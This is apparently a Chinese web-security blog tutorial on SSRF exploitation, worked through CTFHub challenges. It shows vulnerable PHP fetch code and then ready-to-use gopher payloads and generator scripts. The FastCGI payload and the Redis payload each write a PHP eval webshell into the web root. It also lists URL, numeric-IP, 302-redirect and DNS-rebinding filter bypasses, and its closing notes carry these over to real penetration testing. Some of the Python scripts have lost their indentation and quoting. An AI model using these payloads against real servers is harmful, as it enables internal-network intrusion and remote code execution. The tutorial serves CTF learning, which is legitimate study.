【web安全】SSRF的各种利用方式

234 阅读8分钟

什么是SSRF

SSRF(服务端请求伪造漏洞) 由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

一般情况下,SSRF针对的都是一些外网无法访问的内网,所以需要SSRF使目标后端去访问内网,进而达到我们攻击内网的目的。

通过SSRF,我们可以访问目标内网的redis服务,mysql服务,smpt服务,fastcgi服务等

造成漏洞的一些函数

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。

readfile():输出一个文件的内容。

fsockopen():打开一个网络连接或者一个Unix 套接字连接。

curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

fopen():打开一个文件文件或者 URL。

【网络安全相关技术】

file_get_contents()/readfile()

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

fsockopen()

fsockopen(hostname,hostname,port,errno,errno,errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

curl_exec()

<?php 
$url=$_POST['url']; 
$ch=curl_init($url);  //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result); 
?>

接下来我就SSRF涉及的协议和一些bypass结合一些CTF进行分析

SSRF攻击中涉及的一些协议

因为只是展示各个协议的用途,所以这里就不自己搭环境,直接用CTFHUB的技能树了

http协议

题目描述: 尝试访问位于127.0.0.1的flag.php吧

payload: ?url=http://127.0.0.1/flag.php

这就是因为过滤 不严谨,导致我们可以访问内网。

dict协议

在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。

题目描述: 来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

通过题目应该可以判断 ,跟上一道题是差不多的,但是就是端口问题

先判断哪个端口存在web服务

这里是直接用burp爆破端口就可以

但是我估计环境出问题了,一直没有爆破出想要的端口。

这里如果爆破出的话,直接访问就行

file伪协议

题目描述: 尝试去读取一下Web目录下的flag.php吧

file为协议就不用多说了

payload:?url=file:/var/www/html/flag.php

但是需要知道文件具体位置才能读到敏感信息。

Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet 上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
在SSRF中经常会使用Gopher来构造GET/POST包攻击应用。

题目描述: 这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用哦。

进入题目直接查看源码

?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php

index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

这里告诉我们要去用127.0.0.1访问flag.php

那道key,看这个样子是要我们POST key,但是提交页面又没有提交的按钮,所以这里就需要我们去本地新建一个POST

这里我们需要构造一个POST的数据包

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=00f001523d0b955749ea5e3b0ca09b5f

然后我们就可以进行url编码了,编码次数取决于我们访问次数。

第一次编码:

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7

把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a

然后在进行一次URL编码

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A

当然手动编码,加上复杂的转化,错误率大大提高,所以,我在网上找了个脚本

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c384d200658f258e5b5c681bf0aa29a8
"""  

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

直接将编码所得,提交即可。

FastCGI协议

题目描述 : 这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

给了个附件介绍fastcgi协议和PHP-FPM

FastCGI

Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。

php-fpm

官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口

这里,附件给的复现方式虽然已经挺好的了,但是我查阅资料后,发现还有第二种做法,而且相对简单,我就用第二种做法,复现一下。

使用工具 Gopherus 生成攻击FastCGI协议的payload

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

这里我直接参考师傅的payload,生成的payload

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/html/index.php%20%20%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

这里对其进行url二次编码,因为url会对其解码一次,curl也会解码一次,所以要编码两次。这个payload是已经进行过一次编码的,所以再编码一次即可。

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后上传成功

蚁剑连接shell

连接成功,并在根目录找到flag

Redis协议

题目描述 : 这次来攻击redis协议吧,redis://127.0.0.1:6379。资料?没有资料!自己找!

总所周知,redis服务是开在6379端口,通常是利用redis未授权访问而达到写入shell或者反弹ssh等目的。

这里我本来想着用gopherus 直接生成针对redis未授权访问,写入shell

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

但是二次编码的时候传入没有成功,不知道为什么。这里我还是用whoami师傅的方法来打。

构造redis命令:

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

WHOAMI师傅的EXP脚本:

import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST["whoami"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
​
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)    # 由于我们这里是GET,所以要进行两次url编

生成如下payload

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

get传值,蚁剑连接。

但是我这一直报错,就很怪

常见的bypass绕过方式

这里依旧用ctfhub的题目,但是绕过方法,我会就buu和ctfshow 的相关题目进行扩展。

URL Bypass

题目描述 : 请求的URL中必须包含notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

构造payload:

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

扩展:如果要求以notfound.ctfhub开头.com 结尾的话,依旧可以使用@

payload

?url=notfound.ctfhub@127.0.0.1/flag.php.co…

此类需要某某开头 某某结束的题目均可使用@进行绕过。

数字IP Bypass

题目描述 :这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

不能使用127/172 我们可以使用进制转换等

进制转换
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
扩展:
当有的对跳转的地址的长度有要求
host<5
url=http://0/flag.php
url=http://127.1/flag.php
host<3
url=http://0/flag.php

302跳转 Bypass

题目描述:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

302跳转就是由一个URL跳转到另外一个URL当中去。

IP被ban,改个不含127的试试

出了,我甚至没搞明白啥意思,有点懵。

DNS重绑定 Bypass

题目描述 :无

DNS重绑定DNS Rebinding攻击在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

在自己服务器上写一个index.php内容如下:

<?php
header("Location:http://127.0.0.1/flag.php");

然后payload访问自己这个地址就可以了。

或者也可以利用这个网站获取一个测试用的域名:lock.cmpxchg8b.com/rebinder.ht…

直接访问

需要访问多次,因为这个域名会在两个ip之间跳转。

总结

虽然这篇文章都是基于CTF来分析SSRF相关知识的,但是我觉得可以从这些CTF题目中延伸出一些渗透攻击的思路。

就比如:如果我们发现一处SSRF,我们可以使用使用file 伪协议读取敏感信息,http/s和dict协议判断内网存活主机和端口,从端口判断内网中存在的服务。

当我们发现redis/fastcgi/mysql等服务时, 我们可以利用协议gopher和工具 gopherus 进行getshell。